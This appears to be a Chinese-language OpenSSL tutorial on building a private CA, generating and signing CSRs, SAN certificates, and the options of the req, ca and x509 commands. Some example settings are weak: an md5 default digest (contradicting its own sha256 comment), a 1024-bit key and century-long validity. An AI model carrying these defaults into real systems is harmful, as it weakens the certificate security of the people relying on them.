mkdir certs newcerts private conf server
vim conf/openssl.cnf
[ ca ]
default_ca = foo
[ foo ]
dir = ./ca                           # CA的工作目录
database = $dir/index.txt            # 证书颁发的索引文件
new_certs_dir = $dir/newcerts        # 新颁发证书的默认位置,等同于"-outdir"选项
certificate = $dir/private/ca.crt    # CA证书所在位置,等同于"-cert"选项
serial = $dir/serial                 # 下一个要颁发证书的编号(16进制)
private_key = $dir/private/ca.key    # CA私钥文件位置,等同于"-keyfile"选项
RANDFILE = $dir/private/.rand        # 默认的随机数种子文件,对应 -rand 命令行选项。
default_days = 36500                  # 默认有效期,公司内部使用应调长一些。默认有效期365天,等同于"-days"选项
#default_startdate = 210407223344Z   # 新证书默认的生效日期,如果未设置则使用签发时的时间,格式为:YYMMDDHHNNSSZ(年月日时分秒Z),等同于"-startdate"选项
#default_enddate = 090303223344Z     # 新证书默认的失效日期,格式为:YYMMDDHHNNSSZ(年月日时分秒Z),等同于"-enddate"选项。
default_crl_days= 30                 # 默认吊销列表存放时间
default_md = md5                     # 默认摘要算法sha256。相当于在命令行上使用 -sha256 选项(对应于"-digest")
unique_subject = no                 # 同一个"subject"是否只能创建一个证书,默认值为 yes 但建议设为 no 以方便根CA自签名( -selfsign )。
name_opt    = ca_default             # Subject Name options 用户需要确认签发证书时可读证书DN域的显示格式。可用值与 x509 指令的 -nameopt 选项相同。
cert_opt    = ca_default             # Certificate field options 当用户需要确认签发证书时证书域的显示格式.可用值与 x509 指令的 -certopt 选项相同,不过 no_signame 和 no_sigdump 总被默认设置。
policy = policy_any                  # 证书请求DN域匹配策略的字段。对应 -policy 命令行选项。
#----------------------------------------
certs       = $dir/certs             # Where the issued certs are kept  颁发的证书所在位置
crl_dir     = $dir/crl               # Where the issued crl are kept   已吊销证书的吊销列表的存储目录位置
crlnumber   = $dir/crlnumber         # the current crl number 证书吊销编号
                                     # must be commented out to leave a V1 CRL
crl     = $dir/crl.pem               # The current CRL   曾被吊销的证书列表
# 从当前CRL(证书撤销列表)到下次CRL发布的间隔小时数或天数。依次对应 -crlhours , -crldays 命令行选项。
#default_crl_hours = 72
#default_crl_days = 30
copy_extensions = copy               # 是否将证书请求中的扩展项信息加入到证书扩展项中去。
# 取值范围以及解释:
# none: 忽略所有证书请求中的扩展项
# copy: 将证书扩展项中没有的项目复制到证书中
# copyall: 将所有证书请求中的扩展项都复制过去,并且覆盖证书扩展项中原来已经存在的值。
# 此选项的主要用途是允许证书请求提供例如 subjectAltName 之类扩展的值。

# 通常,证书签发的特种名称(DN)域的各个参数顺序与证书策略的参数顺序一致。
# 但是,如果这里设为yes则保持与证书请求中的参数顺序一致。对应 -preserveDN 命令行选项。
preserve = no

# 默认值为 yes ,设为 no 表示从证书的DN中删除 EMAIL 字段。对应 -noemailDN 命令行选项。
email_in_dn = yes

x509_extensions = v3_ca              # 生成自签名根证书时要使用的证书扩展项字段名,该扩展字段定义了要加入到根证书中的一系列 X.509v3 扩展项。对应 -extensions 命令行选项
req_extensions = v3_req              # 证书请求扩展的字段名,该扩展字段定义了要加入到证书请求中的一系列 X.509v3 扩展项。对应 -reqexts 命令行选项。
#crl_extensions = crl_ext            # 定义生成CRL时需要加入的扩展项字段。对应 -crlexts 命令行选项。
#-----------------------------------
[ policy_any ]
countryName = match
stateOrProvinceName = match
organizationName = match
organizationalUnitName = match
localityName = optional
commonName      = supplied
emailAddress    = optional

#### 生成自签名证书(RootCA)时使用的 X.509v3 证书扩展项,对应 -addext 命令行选项 #####
[ v3_ca ]
basicConstraints = critical,CA:TRUE
keyUsage = cRLSign, keyCertSign, digitalSignature
extendedKeyUsage = OCSPSigning
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
noCheck = ignored

##### 要加入到证书请求中的一系列 X.509v3 扩展项,对应 -addext 命令行选项 #####
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth, clientAuth, timeStamping
#subjectAltName = DNS:www.example.com, DNS:example.com, DNS:*.example.net, IP:192.168.7.1, IP:13::17, email:copy
1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05
tlsfeature = status_request

创建私有CA(自签名证书)

1、创建CA所需要的文件

#生成证书索引数据库文件
touch /etc/pki/CA/index.txt
#指定第一个颁发证书的序列号
echo 01 > /etc/pki/CA/serial # 01是16进制

2、 生成CA私钥

cd /etc/pki/CA/
(umask 066; openssl genrsa -out private/cakey.pem 2048)

3、生成CA自签名证书

openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -days 36500 -out /etc/pki/CA/cacert.pem

选项说明:

-new:生成新证书签署请求
-x509:专用于CA生成自签证书
-key:生成请求时用到的私钥文件。不指定默认以当前目录openssl.cnf或/etc/pki/tls/openssl.cnf配置文件为准备
-days n:证书的有效期限
-out /PATH/TO/SOMECERTFILE: 证书的保存路径

国家代码:https://country-code.cl/

范例: 使用x509工具自建CA

#使用x509工具自建CA。由于x509无法建立证书请求文件,所以只能使用openssl req来生成请求文件,然后使用x509来自签署。
openssl req -new -keyout key.pem -out req.csr
openssl x509 -req -days 36500 -in req.csr -signkey key.pem -out x509.crt

合并生成CA私钥和CA自签名证书步骤, -newkey 选项自动创建私钥

openssl req  -newkey rsa:4096 -sha256 -keyout /etc/pki/CA/private/cakey.pem -nodes -x509 -days 36500 -out /etc/pki/CA/cacert.pem -subj "/C=CN/ST=beijing/L=beijing/O=ops/CN=ca.xcw.org"

说明
/C= Country国家。如CN
/ST=    State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU=    Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN=    Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址,可以省略[email protected]

范例:生成自签名证书

#-newkey 选项自动创建私钥
[root@centos8 ~]#openssl req -utf8 -newkey rsa:1024 -subj "/CN=www.meu.org" -keyout app.key -nodes -x509 -out app.crt
Generating a RSA private key
..+++++
..............................+++++
writing new private key to 'app.key'
-----
[root@centos8 ~]#openssl x509 -in app.crt -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            6a:69:ec:c8:85:98:9c:e3:6a:99:a5:56:b1:22:76:c4:fb:1d:85:41
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = www.meu.org
        Validity
            Not Before: May 24 04:38:24 2020 GMT
            Not After : Jun 23 04:38:24 2020 GMT
        Subject: CN = www.meu.org
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (1024 bit)
                Modulus:
                    00:d3:f2:95:7c:4c:17:91:8d:93:7a:c6:91:31:f3:
                    fb:97:c9:c2:6b:3d:47:d3:47:e4:c7:f9:ef:97:65:
                    dc:64:6a:a5:ba:dc:2f:40:64:86:d0:40:b3:70:fb:
                    38:5a:11:b4:ec:21:e1:68:23:a4:53:66:dc:a4:76:
                    a2:91:75:d9:7b:51:4b:fb:3e:a8:86:44:72:99:7a:
                    41:d2:07:82:69:28:a9:06:74:42:e3:ce:9e:63:75:
                    9c:d0:d7:3c:96:79:ad:80:d6:9b:72:9a:33:25:46:
                    ec:50:b1:c0:3b:9c:65:38:ba:15:3a:17:8f:ff:43:
                    6e:28:53:01:c3:6c:31:c4:91
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                45:A2:CA:F2:21:4F:17:82:A6:A4:D2:CA:36:FE:17:A0:97:C6:DB:29
            X509v3 Authority Key Identifier: 
                keyid:45:A2:CA:F2:21:4F:17:82:A6:A4:D2:CA:36:FE:17:A0:97:C6:DB:29

            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         c8:06:8e:ab:a6:ea:ca:34:5e:d6:77:e1:25:fd:44:d5:cb:55:
         a7:25:cc:7f:9a:da:65:f0:5c:b5:f4:c6:c8:2e:dc:64:f9:e8:
         b4:77:74:ed:f9:10:b0:0f:d4:a9:3a:35:0e:c0:7d:23:98:2b:
         07:df:70:94:dc:62:2f:c4:c0:7a:9c:41:0d:3c:ca:b2:2c:6e:
         39:fc:05:45:71:f6:81:df:92:ab:23:c7:28:eb:f5:65:28:44:
         e2:9f:cc:ea:72:fc:20:ab:86:fd:79:00:6e:bc:16:93:b3:80:
         d1:c8:0d:c9:06:65:26:af:21:dc:e7:76:4c:42:1b:de:e6:43:
         21:27
openssl req (生成证书请求和自建CA)

一旦有了私钥,就可以创建证书签名申请(certificate signing request, CSR)。这是要求CA给证书签名的一种正式申请,该申请包含申请证书的实体的 公钥以及该实体的某些信息。该数据将成为证书的一部分。CSR始终使用它携带 的公钥所对应的私钥进行签名。

CSR创建的过程一般都是交互式的,你需要提供区分证书所需的不同元素。认真 阅读openssl工具的帮助。如果你想让某一个字段为空,不要直接回车,必须输 入一个点( . );如果直接回车,OpenSSL会直接使用这个字段默认的值(虽然 几乎所有人都这么做,但是如果使用的是默认的OpenSSL配置,直接回车没有任 何意义。只有在你意识到可以通过直接修改OpenSSL配置或者提供自己的配置文 件来修改默认配置的时候,直接回车才是没问题的)。

1.根据私钥pri_key.pem生成一个新的证书请求文件(CSR文件)

openssl genrsa -out pri_key.pem

openssl req -new -key pri_key.pem -out req1.csr
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:beijing  
Locality Name (eg, city) [Default City]:beijing
Organization Name (eg, company) [Default Company Ltd]:.
Organizational Unit Name (eg, section) []:.
Common Name (eg, your name or your server's hostname) []:a.xcw.com
Email Address []:

Please enter the following 'extra' attributes # 下面两项几乎不用考虑,留空即可
to be sent with your certificate request
A challenge password []:
An optional company name []:

"-new"选项,使用”-newkey”选项也能创建证书请求文件,

2.查看证书请求文件(CSR文件)内容

cat req1.csr
openssl req -in req1.csr
openssl req -in req1.csr -text -noout #"-text"和"-noout"结合使用,则只输出证书请求的文件头部分

# 用当前证书生成 CSR 文件
#如果你想更新一张证书并且不想对里面的信息作任何更改,那么实现可以变得简单一些。使用下面的命令可以用当前的证书创建一个全新的CSR文件
openssl x509 -x509toreq -in fd.crt -out fd.csr -signkey fd.key

3.指定证书请求文件(CSR文件)中的签名算法

注意到证书请求文件的头部分有一项是”Signature Algorithm”,它表示使用 的是哪种数字签名算法。默认使用的是sha1,还支持md5、sha512等,更多可支 持的签名算法见”openssl dgst –help”中所列出内容。例如此处指定md5算法。

# openssl req -new -key pri_key.pem -out req2.csr -md5

# openssl req -in req2.csr -noout -text | grep Algo
            Public Key Algorithm: rsaEncryption
    Signature Algorithm: md5WithRSAEncryption

4.验证请求文件(CSR文件)的数字签名,这样可以验证出证书请求文件是否被篡改过

# openssl req -verify -in req2.csr -noout
verify OK

5.让openssl req自动创建所需的私钥文件

其实如果不提供 -key, openssl req会在任何需要私钥的地方自动创建私钥 ,并保存在特定的位置,默认的保存位置为当前目录,文件名为privkey.pem, 具体保存的位置和文件名由配置文件(默认为/etc/pki/tls/openssl.cnf)决

# openssl req -new -out req3.csr # 加密该私钥文件,并提示输入加密的密码。
Generating a 2048 bit RSA private key          # 自动创建私钥
..................+++
.....................................+++
writing new private key to 'privkey.pem'
Enter PEM pass phrase:                         # 要求输入加密私钥文件的密码,且要求长度为4-1024个字符
Verifying - Enter PEM pass phrase:

# openssl req -new -out req3.csr -nodes # -nodes"选项禁止加密私钥文件
# openssl req -new -out req3.csr -nodes -keyout myprivkey.pem #使用"-keyout"选项指定私钥文件的保存位置和文件名

6.使用”-newkey”选项自动创建私钥

-newkey选项可以直接指定私钥的算法和长度,所以它主要用在openssl req自动 创建私钥时。

格式为”-newkey arg”。arg的格式为”rsa:numbits”,rsa表示创建rsa私钥, numbits表示私钥的长度,如果不给定长度(即”-newkey rsa”)则默认从配置文 件中读取长度值。其实不止支持rsa私钥,只不过现在基本都是用rsa私钥,所以 默认就使用rsa

# openssl req -newkey rsa:2048 -out req3.csr -nodes -keyout myprivkey.pem

7.非交互方式生成CSR文件

方法1:使用”-subj args”选项

# openssl req -new -key pri_key.pem -out req1.csr -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

"-subj args"选项格式

替换或自定义证书请求时需要输入的信息,并输出修改后的请求信息。args的格式为"/type0=value0/type1=value1...",如果value为空,则表示使用配置文件中指定的默认值,如果value值为".",则表示该项留空。其中可识别type(man req)有:

/C= Country国家。如CN
/ST= State 省或洲的完整名称   London
/L= Location 所在位置的名称(默认为城市)    London
/O= Organization 组织机构名称(默认为公司)    Global Security
/OU= Organizational Unit 组织机构单元名称(eg.部门) IT Department
/CN= Common Name持有者名或者所在服务器主机名(即域名) example.com
/emailAddress 管理员邮件地址,可以省略[email protected]

方法2:使用自定义的OpenSSL配置文件

#自动生成 www.test.com 的CSR文件,可以先创建一个fd.cnf文件:
[req]
prompt = no
distinguished_name = dn
req_extensions = ext
input_password = PASSPHRASE

[dn]
CN = www.test.com
emailAddress = [email protected]
O = Feisty Duck Ltd
L = London
C = GB

[ext]
subjectAltName = DNS:www.test.com,DNS:test.com

#然后使用下面的命令直接创建CSR文件:
openssl req -new -config fd.cnf -key fd.key -out fd.csr

8.加密-passout -passin

export MY_PASS=123456 ; openssl genrsa -aes128  -out pri_key.pem -passout "env:MY_PASS"
openssl req -new -key pri_key.pem -passin "env:MY_PASS" -out req1.csr -subj /C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com

9.自签署证书,可用于自建根CA时

需要使用”-x509”选项

#如果已经有了CSR,可以使用下面的文件创建证书
openssl req -x509 -in req1.csr -key pri_key.pem  -out CA1.crt -days 36500
或
openssl x509 -req  -in fd.csr -signkey pri_key.pem -out CA1.crt -days 36500

#也可以无需单独创建一个CSR,使用下面的命令直接使用私钥创建自签名证书
openssl req -new -x509 -days 36500 -key pri_key.pem -out CA1.crt

#如果你不想有交互提示,直接使用 -subj 并带上标题信息就可以了
openssl req -new -x509 -days 36500 -key fd.key -out fd.crt -subj "/C=GB/L=London/O=Feisty Duck Ltd/CN=tomcat.aiull.com"

10.创建对多个主机名有效的证书

默认情况下,OpenSSL创建的证书只包含一个公用名而且只能设置一个主机名。 因为这个限制,即便你有其他相关联的站点,也不得不为每个站点生成一张单独 的证书。在这种情况下,使用一张多域名(multidomain)的证书就有意义了。 即便你是维护一个站点,也得确保用户在访问站点的所有子域名的时候证书是有 效的。

有两种方式在一张证书里面支持多主机名。一种方式是在X.509的使用者可选名 称(subjectalternative name,SAN)扩展字段里面列出所有要使用的主机名; 另外一种就是使用泛域名。可以将两种方式合在一起,这样更加方便。在实际使 用的时候,可以设置顶级域名和一个泛域名来囊括所有二级域名(例如 feistyduck.com 和 *.feistyduck.com )。

#将扩展信息放在一个单独的文本文件中fd.ext,必须在可选名称列表中包含所有想要的主机名。
#subjectAltName = DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com,DNS:aiull.com
echo 'subjectAltName = DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com,DNS:aiull.com' >fd.ext

#然后当使用 x509 命令签发证书的时候,使用 -extfile 开关引用该文件
# openssl x509 -req -days 36500 -in req1.csr -signkey pri_key.pem -out fd.crt -extfile fd.ext
Signature ok
subject=/C=CN/ST=Beijing/L=Beijing/O=DevOps/CN=tomcat.aiull.com
Getting Private key
Enter pass phrase for pri_key.pem:

#检查证书的时候你会发现它包括了SAN扩展信息
# openssl x509 -in fd.crt -text -noout
        X509v3 extensions:
            X509v3 Subject Alternative Name: 
                DNS:*.feistyduck.com, DNS:feistyduck.com, DNS:*.aiull.com, DNS:aiull.com

范例:使用可选名称SAN扩展配置多域名证书

#1 生成CA密钥
openssl genrsa -des3 -out ca.key 2048

#2 生成CA根证书
openssl req -sha256 -new -x509 -days 365 -key ca.key -out ca.crt \
-subj "/C=CN/ST=GD/L=SZ/O=lee/OU=study/CN=testRoot"

#3 生成服务器密钥
openssl genrsa -des3 -out server.key 2048
#4 生成服务器证书请求文件
openssl req -new \
-sha256 \
-key server.key \
-subj "/C=CN/ST=GD/L=SZ/O=lee/OU=study/CN=bdstatic.com" \
-reqexts SAN \
-config <(cat /etc/pki/tls/openssl.cnf \
<(printf "[SAN]\nsubjectAltName=DNS:*.bdstatic.com,DNS:*.baidu.com")) \
-out server.csr

#5 CA签署服务器证书
openssl ca -in server.csr \
-md sha256 \
-keyfile ca.key \
-cert ca.crt \
-extensions SAN \
-config <(cat /etc/pki/tls/openssl.cnf \
<(printf "[SAN]\nsubjectAltName=DNS:*.bdstatic.com,DNS:*.baidu.com")) \
-out server.crt

openssl req 命令用法

openssl req [-new] [-newkey rsa:bits] [-verify] [-x509] [-in filename] [-out filename] [-key filename] [-passin arg] [-passout arg] 
[-keyout filename] [-pubkey] [-nodes] [-[dgst]] [-config filename] [-subj arg] [-days n] [-set_serial n] [-extensions section]
[-reqexts section] [-utf8] [-nameopt] [-reqopt] [-subject] [-subj arg] [-text] [-noout] [-batch] [-verbose]
 
选项说明:
-new        :创建一个证书请求文件,会交互式提醒输入一些信息,这些交互选项以及交互选项信息的长度值以及其他一些扩展属性在配置文件(默认为
            :openssl.cnf,还有些辅助配置文件)中指定了默认值。如果没有指定"-key"选项,则会自动生成一个RSA私钥,该私钥的生成位置
            :也在openssl.cnf中指定了。如果指定了-x509选项,则表示创建的是自签署证书文件,而非证书请求文件
-newkey args:类似于"-new"选项,创建一个新的证书请求,并创建私钥。args的格式是"rsa:bits"(其他加密算法请查看man),其中bits
            :是rsa密钥的长度,如果bits省略了(即-newkey rsa),则长度根据配置文件中default_bits指令的值作为默认长度,默认该值为2048
            :如果指定了-x509选项,则表示创建的是自签署证书文件,而非证书请求文件
-nodes      :默认情况下,openssl req自动创建私钥时都要求加密并提示输入加密密码,指定该选项后则禁止对私钥文件加密
-key filename    :指定私钥的输入文件,创建证书请求时需要
-keyout filename :指定自动创建私钥时私钥的存放位置,若未指定该选项,则使用配置文件中default_keyfile指定的值,默认该值为privkey.pem
-[dgst]          :指定对创建请求时提供的申请者信息进行数字签名时的单向加密算法,如-md5/-sha1/-sha512等,
                 :若未指定则默认使用配置文件中default_md指定的值
-verify       :对证书请求文件进行数字签名验证
-x509         :指定该选项时,将生成一个自签署证书,而不是创建证书请求。一般用于测试或者为根CA创建自签名证书
-days n       :指定自签名证书的有效期限,默认30天,需要和"-x509"一起使用。
              :注意是自签名证书期限,而非请求的证书期限,因为证书的有效期是颁发者指定的,证书请求者指定有效期是没有意义的,
              :配置文件中的default_days指定了请求证书的有效期限,默认365天
-set_serial n :指定生成自签名证书时的证书序列号,该序列号将写入配置文件中serial指定的文件中,这样就不需要手动更新该序列号文件
              :支持数值和16进制值(0x开头),虽然也支持负数,但不建议
-in filename  :指定证书请求文件filename。注意,创建证书请求文件时是不需要指定该选项的
-out filename :证书请求或自签署证书的输出文件,也可以是其他内容的输出文件,不指定时默认stdout
-subj args    :替换或自定义证书请求时需要输入的信息,并输出修改后的请求信息。args的格式为"/type0=value0/type1=value1...",
              :如果value为空,则表示使用配置文件中指定的默认值,如果value值为".",则表示该项留空。其中可识别type(man req)有:
              :C是Country、ST是state、L是localcity、O是Organization、OU是Organization Unit、CN是common name等
-config  配置内容 或文件路径

【输出内容选项:】
-text         :以文本格式打印证书请求
-noout        :不输出部分信息
-subject      :输出证书请求文件中的subject(如果指定了x509,则打印证书中的subject)
-pubkey       :输出证书请求文件中的公钥

【配置文件项和杂项:】
-passin arg      :传递解密密码
-passout arg     :指定加密输出文件时的密码
-config filename :指定req的配置文件,指定后将忽略所有的其他配置文件。如果不指定则默认使用/etc/pki/tls/openssl.cnf中req段落的值
-batch           :非交互模式,直接从配置文件(默认/etc/pki/tls/openssl.cnf)中读取证书请求所需字段信息。但若不指定"-key"时,仍会询问key
-verbose         :显示操作执行的详细信息

以下则是配置文件中(默认/etc/pki/tls/openssl.cnf)关于req段落的配置格式

input_password :密码输入文件,和命令行的"-passin"选项对应,密码格式以及意义见"openssl密码格式"
output_password:密码的输出文件,与命令行的"-passout"选项对应,密码格式以及意义见"openssl密码格式"
default_bits   :openssl req自动生成RSA私钥时的长度,不写时默认是512,建议不小于2048。命令行的"-new"和"-newkey"可能会用到它 
default_keyfile:默认的私钥输出文件,与命令行的"-keyout"选项对应 
encrypt_key    :当设置为no时,自动创建私钥时不会加密该私钥。设置为no时与命令行的"-nodes"等价。还有等价的兼容性写法:encry_rsa_key 
default_md     :指定创建证书请求时对申请者信息进行数字签名的单向加密算法,与命令行的"-[dgst]"对应 可以使用(sha256, sha3-256, sha512, sha3-512, ...)
prompt         :当指定为no时,则不提示输入证书请求的字段信息,而是直接从openssl.cnf中读取 :请小心设置该选项,很可能请求文件创建失败就是因为该选项设置为no 
string_mask    :为一些字段设置默认的字符串类型,比如证书请求中的城市和组织名称。可能的取值和解释如下
  # default: 包含了 PrintableString, T61String, BMPString 三种类型
  # pkix  : 包含了 PrintableString, BMPString 两种类型
  # utf8only: 只使用 UTF8 字符串。推荐使用这个,这样可以完美的包含任意字符。
  # nombstr : 包含了 PrintableString, T61String 两种类型
distinguished_name:(DN)是一个扩展属性段落,用于指定证书请求时可被识别的字段名称。

#可被识别的字段名称包含了用户的标识信息,对应 -subj 命令行选项。如
[ req ]
# `man req`
default_bits        = 4096
distinguished_name  = req_distinguished_name
string_mask         = utf8only
default_md          = sha256
[ req_distinguished_name ]
countryName                    = Country Name (2 letter code)
stateOrProvinceName            = State or Province Name
localityName                   = Locality Name
organizationName             = Organization Name
organizationalUnitName         = Organizational Unit Name
commonName                     = Common Name

以下是默认的配置文件格式及值。关于配置文件的详细分析见”配置文件”部分

[ req ]
# `man req`
default_bits            = 2048
default_md              = sha1
default_keyfile         = privkey.pem
distinguished_name      = req_distinguished_name
attributes              = req_attributes
x509_extensions = v3_ca # The extentions to add to the self signed cert
string_mask = utf8only
[ req_distinguished_name ]
countryName                     = Country Name (2 letter code)
countryName_default             = XX
countryName_min                 = 2
countryName_max                 = 2
stateOrProvinceName             = State or Province Name (full name)
localityName                    = Locality Name (eg, city)
localityName_default    = Default City
0.organizationName              = Organization Name (eg, company)
0.organizationName_default      = Default Company Ltd
organizationalUnitName          = Organizational Unit Name (eg, section)
commonName                      = Common Name (eg, your name or your server\'s hostname)
commonName_max                  = 64
emailAddress                    = Email Address
emailAddress_max                = 64

申请证书并颁发证书

1、为需要使用证书的主机生成私钥

mkdir /data/app1
(umask 066; openssl genrsa -out /data/app1/app1.key 2048)

2、为需要使用证书的主机生成证书申请文件

openssl req -new -key /data/app1/app1.key -out /data/app1/app1.csr

注意:

  • 其中的subject信息部分,要与CA的保持一致;
  • Common Name要使用此主机在通信真实使用名字;
  • csr 在得到CA证书后可以保留可以删除

合并主机生成私钥和证书申请文件步骤, -newkey 选项自动创建私钥

openssl req \
    -newkey rsa:4096 -nodes -sha256 -keyout /data/app1/app1.key \
    -out /data/app1/app1.csr \
    -subj "/C=CN/ST=beijing/L=bj/O=ops/CN=app1.xcw.org"

3、在CA签署证书并将证书颁发给请求者

openssl ca -in /data/app1/app1.csr  -out /etc/pki/CA/certs/app1.crt -days 36500

注意:默认要求国家,省,公司名称三项必须和CA一致。这些是由配置文件中的 匹配策略决定的。

[ ca ]
default_ca      = CA_default            # The default ca section
[ CA_default ]
policy          = policy_match
[ policy_match ]
countryName             = match
stateOrProvinceName     = match
organizationName        = match
organizationalUnitName  = optional
commonName              = supplied
emailAddress            = optional
#三种策略:match匹配、optional可选、supplied提供 

也可以这样

#x509也可以用来签署他人的证书请求,即为他人颁发证书。注意,为他人颁发证书时,确保serial文件存在,建议使用自动创建的选项"-CAcreateserial"。
openssl x509 -req -days 36500 -in req.csr -CA ca.crt -CAkey ca.key -out x509.crt -CAcreateserial # 用这个可以避免一些错误

4、查看证书中的信息:

openssl x509 -in /PATH/FROM/CERT_FILE -noout -text|issuer|subject|serial|dates
说明:
-noout : 输出
-serial : 查看证书序列号
-subject : 查看证书主题标识
-dates : 起止时间
-issuer  : print issuer DN 谁签署的
-text : 文本输出

#查看指定编号的证书状态
openssl ca -status SERIAL

[root@centos8 ~]#cat /etc/pki/CA/index.txt
V   231204234322Z       01  unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org

V:表示已经签署的
01:表示证书序列号
/C=CN/ST=Beijing/O=… ...:  表示主题信息(主题标识)
openssl ca (签署和自建CA)

经过上面的示例,应该对openssl ca命令的用法大致了解了,下面是其完整的用 法说明,不包括crl相关功能。

要注意,ca命令是用于签署证书的,所以它所需要的文件除了配置文件外就是私 钥文件和证书请求文件,而签名后生成的文件是证书文件,因此使用”-in”指 定的对象是待签署文件,"-infiles"则是指定多个待签署文件,"-keyfile"是指 定私钥文件,"-out"是指定输出的证书文件。

openssl ca [-verbose] [-config filename] [-name section] [-startdate date] [-enddate date] [-days arg] [-md arg] [-policy arg] [-keyfile arg] [-key arg] [-passin arg] [-cert file]
[-selfsign] [-in file] [-out file] [-notext] [-outdir dir] [-infiles] [-ss_cert file] [-preserveDN] [-noemailDN] [-batch] [-extensions section] [-extfile section] [-subj arg] [-utf8]
【选项说明:】
-config filename :指定要使用的配置文件,指定后将忽略openssl.cnf中指定的关于ca的配置选项。
-name section    :指定使用配置文件中的那个section。指定后将忽略openssl.cnf中的default_ca段。
-in filename     :指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
-infiles         :该选项只能是最后一个选项,该选项所接的所有参数都被认为是要被签署的证书请求文件,即一次性签署多个请求文件时使用的选项。
-selfsign        :自签署。指定-ss_cert选项时该选项被忽略。
-ss_cert filename:将被CA自签署的单个证书文件。也就是说要重新签署证书。
-out filename    :证书的输出文件,同时也会输出到屏幕。不指定时默认输出到stdout。
-outdir dir_name :证书的输出目录。指定该选项时,将自动在此目录下生成一个文件名包含16进制serial值的".pem"证书文件。
-cert            :CA自己的证书文件。
-keyfile filename:指定签署证书请求时的私钥文件,即CA自己的私钥文件。
-key passwd_value:指定私钥的加密密码。
-passin arg      :传递解密密码
-verbose         :打印操作执行时的详细信息
-notext          :禁止以文本格式将证书输出到"-out"指定的文件中
-days arg        :证书有效期限,从创建时刻开始算startdate,有效期结束点为enddate。
-startdate       :自定义证书的开始时间,和"-enddate"一起使用可以推算出证书有效期。
-enddate         :自定义证书的结束时间。
-md alg          :指定单向加密算法
-policy arg      :该选项是配置文件中的section内容,该选项指定了证书信息中的field部分是否需要强制提供还是要强制匹配,
                 :或者可提供可不提供。详细的见配置文件说明。
-extensions section:指定当前创建的证书使用配置文件中的哪个section作为扩展属性。
-batch           :签署时使用批处理模式,即非交互模式。该模式下不会有两次询问(是否签署、是否提交)。
-subj arg        :替换证书请求中的subject,格式/type0=value0/type1=value1/type2=...

# 配置文件关于ca的部分,其中被标记为必须项的表示配置文件中或者命令行中必须给出该选项及其值
new_certs_dir    :等同于"-outdir"选项。必须项
certificat       :等同于"-cert"选项,CA自己的证书文件。必须项
private_key      :等同于"-keyfile"选项,签署证书请求文件时的私钥文件,即CA自己的私钥文件。必须项
default_days     :等同于"-days"选项
default_startdate:等同于"-startdate"选项。
default_enddate  :等同于"-enddate"选项。
default_md       :等同于"-md"选项。必须项
database         :openssl维护的数据库文件。存放证书条目信息及状态信息。必须项
serial           :已颁发证书的序列号(16进制)文件。必须项且该文件中必须存在一个序列值
unique_subject   :如果设置为yes,database中的subject列值必须不重复。如果设置为no,允许subject重复。默认是yes,
                 :这是为了兼容老版本的Openssl,推荐设置为no。
x509_extensions  :等同于"-extensions"选项。
policy           :等同于"-policy"选项。必须项
name_opt/cert_opt:证书的展示格式,虽非必须但建议设置为ca_default,若不设置将默认使用老版本的证书格式(不建议如此)。
                 :伪命令ca无法直接设置这两个选项,而伪命令x509的"-nameopt""-certopt"选项可以分别设置。
copy_extensions  :决定证书请求中的扩展项如何处理的。如果设置为none或不写该选项,则扩展项被忽略并且不复制到证书中去。
                 :如果设置为copy,则证书请求中已存在而证书中不存在的扩展项将复制到证书中。
                 :如果设置为copyall,则证书请求中所有的扩展项都复制到证书中,此时若证书中已存在某扩展项,则先删除再复制。
                 :该选项的主要作用是允许证书请求为特定的扩展项如subjectAltName提供值。
                 :使用该选项前请先查看man ca中的WARNINGS部分。建议一般简单使用时设置为none或不设置。

范例: 脚本自定义CA 签署证书函数

function openssl_sign() {
    echo "Generating ${3}/${4}.crt"
    openssl ca -batch -config openssl.conf -extensions $5 -days 3650 -notext \
        -md sha256 -in ${3}/${4}.csr -out ${3}/${4}.crt \
        -cert ${1} -keyfile ${2}

# -batch         :取消命令提示。非交互模式下不会有两次询问(是否签署、是否提交)
# -extensions    :证书扩展项,设置的扩展项优先于配置文件指定的扩展项。
# -notext        :取消证书的输出显示
# -md sha256     :指定单向加密算法
# -in file       :指定要被CA签署的单个证书请求文件。根CA为其他证书签署时使用。
# -out file      :证书的输出文件,同时也会输出到屏幕。不指定时默认输出到stdout。
# -cert file     :CA自己的证书文件
# -keyfile arg   :指定签署证书请求时的私钥文件,即CA自己的私钥文件。
}

openssl ca -batch -config  /etc/pki/tls/openssl.cnf \
        -days 36500 -notext \
        -md sha256 -in server.csr -out server.crt \
        -cert ca.crt -keyfile ca.key
openssl x509(签署和自签署)

主要用于输出证书信息,也能够签署证书请求文件、自签署、转换证书格式等

openssl x509工具 不会使用openssl配置文件中的设定,而是完全需要自行设 定或者使用该伪命令的默认值,它就像是一个完整的小型的CA工具箱

选项非常多,所以分段解释。

【输入输出选项:】
-in filename  :指定证书输入文件,若同时指定了"-req"选项,则表示输入文件为证书请求文件。
-out filename :指定输出文件
-md2|-md5|-sha1|-mdc2:指定单向加密的算法。

【信息输出选项:】
-text:以text格式输出证书内容,即以最全格式输出,
     :包括public key,signature algorithms,issuer和subject names,serial number以及any trust settings.
